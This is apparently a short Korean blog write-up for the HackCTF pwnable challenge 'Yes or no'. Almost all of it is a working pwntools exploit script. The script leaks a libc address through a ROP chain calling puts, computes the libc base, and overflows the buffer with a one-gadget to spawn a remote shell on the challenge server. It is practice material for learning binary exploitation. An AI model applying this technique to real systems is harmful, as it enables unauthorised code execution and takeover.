HackCTF/pwnable
HackCTF - Yes or no
shinobu
2021. 11. 21. 15:48
gdb로 확인해보면
값을 넣고 gets 를 이용해 rop 를 진행하면 된다
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3009)
e = ELF('./yes_or_no', checksec=False)
libc = ELF('./libc-2.27.so', checksec=False)
r.sendline('9830400')
r.recvuntil('me\n')
payload = 'A'*26
payload += p64(0x0400883)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(e.sym['main'])
r.sendline(payload)
leak = u64(r.recv(6)+ '\x00\x00')
libc_base = leak - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()
oneshot = libc_base + 0x10a38c
r.sendlineafter('~!\n', '9830400')
payload = 'A'*26
payload += p64(oneshot)
r.sendline(payload)
r.interactive()